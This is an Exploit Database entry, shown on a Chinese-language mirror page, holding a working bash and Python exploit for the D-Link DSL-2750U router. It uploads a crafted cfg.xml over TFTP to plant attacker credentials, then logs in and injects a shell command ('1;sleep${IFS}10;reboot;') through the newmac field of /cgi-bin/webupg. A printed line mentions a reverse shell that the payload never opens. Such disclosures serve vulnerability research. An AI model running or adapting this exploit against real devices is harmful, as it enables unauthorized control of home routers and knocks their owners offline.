Dlink DSL2750U – ‘Reboot’ Command Injection

• Exploit Database
• 15 阅读

• 作者： Mohammed Hadi
  日期： 2021-06-18
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50034/

• # Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection
  # Date: 17-06-2021
  # Exploit Author: Mohammed Hadi (HadiMed)
  # Vendor Homepage: https://me.dlink.com/consumer
  # Software Link: https://dlinkmea.com/index.php/product/details?det=c0lvN0JoeVVhSXh4TVhjTnd1OUpUUT09 Version: ME_1.16
  # Tested on: firmware GAN9.ET235B-B-DL-DSL2750U-R5B028-ME.EN_2T2R*
  # https://github.com/HadiMed/firmware-analysis/tree/main/DSL-2750U%20(firmware%20version%201.6) 
  
  ### 
  
  #!/bin/bash
  
  # Exploit by HadiMed 
  
  # Takes advantage of the tftp server that accepts the cfg file blindly 
  echo -ne "\n"
  echo "Exploiting Dlink DSL-2750u version 1.6"
  echo -ne "\n\n"
  
  # Sending the payload 
  echo -ne "binary\nput cfg.xml\nquit" | tftp 192.168.1.1
  echo -ne "\n"
  
  echo "File uploaded Successfully"
  echo "Waiting for router to restart"
  
  sleep 180 # approximate time for router to restart 
  
  python3 exploit.py
  
  ###
  
  import requests 
  
  # HTTP request looks like this 
  '''
  POST /cgi-bin/webproc HTTP/1.1
  Host: 192.168.1.1
  Content-Length: 175
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  Origin: http://192.168.1.1
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://192.168.1.1/cgi-bin/webproc
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: sessionid=deadbeef; language=en_us; sys_UserName=user; sessionid=634cdf91
  Connection: close
  
  getpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=setup&var%3Apage=wizard&obj-action=auth&%3Ausername=user&%3Apassword=user&%3Aaction=login&%3Asessionid=634cdf91 
  '''
  
  # 1 Getting a session id 
  
  # password and username crafted by me on the cfg.xml file 
  
  username = "pwned"
  password= "pwned"
  
  
  # acually the client set the sessionid in condition that the password and username are correct
  
  Cookie="sessionid=deadbeef; language=en_us; sys_UserName=pwned; sessionid=deadbeef"
  Contentty="application/x-www-form-urlencoded"
  Referer="http://192.168.1.1/cgi-bin/webproc"
  Contentlen="175" 
  
  # Sending first request to set our session id 
  response = requests.post("http://192.168.1.1/cgi-bin/webproc",
  	headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
  ,	
  	data={	"getpage":"html/index.html",
  		"errorpage":"html/main.html",
  		"var:menu" : "setup",
  		"var:page":"wizard",
  		"obj-action":"auth",
  		":username":username,
  		":password":password,
  		":action":"login",
  		":sessionid":"deadbeef"
  }
  	)
  
  
  Referer = "http://192.168.1.1/cgi-bin/webupg"
  
  name = "mac"
  cmd = "1;sleep${IFS}10;reboot;"
  
  Contentlen = str(len(name+cmd)+10)
  
  if response.status_code==302:
  	print("got sessionid=deadbeef !\n waiting for the reverse shell ...") 
  
  # access cgi-bin/webupg
  try :
  	response = requests.post("http://192.168.1.1/cgi-bin/webupg",
  headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
  ,data = {"name":name , "newmac":cmd} , timeout=0.0000000001
  
  )
  
  except requests.exceptions.Timeout :
  
  	print("done router will restart in 20 sec") 	
  
  print("Device restarted!")